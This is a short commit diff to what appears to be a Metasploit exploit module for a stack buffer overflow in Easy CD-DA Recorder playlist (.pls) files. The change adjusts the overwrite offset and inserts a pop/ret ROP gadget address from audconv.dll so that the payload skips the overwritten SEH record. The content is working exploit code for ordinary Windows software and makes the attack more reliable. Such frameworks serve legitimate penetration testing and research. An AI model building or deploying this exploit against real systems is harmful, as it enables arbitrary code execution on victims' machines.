Use pop#ret to jump over the overwritten seh

modules/exploits/windows/fileformat/easycdda_pls_bof.rb

@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
             # easycdda.exe 3.0.114.0
             # audconv.dll 7.0.815.0
             {
-              'Offset' => 1112,
+              'Offset' => 1108,
               'Ret'    => 0x1001b19b  # ADD ESP,0C10 # RETN 0x04 [audconv.dll]
             }
           ]
@@ -105,6 +105,7 @@ class Metasploit3 < Msf::Exploit::Remote
     ].flatten.pack('V*')
 
     sploit =  rop_nops(target['Offset'] / 4)
+    sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]
     sploit << [target.ret].pack("V")
     sploit << rop_nops(22)
     sploit << rop_gadgets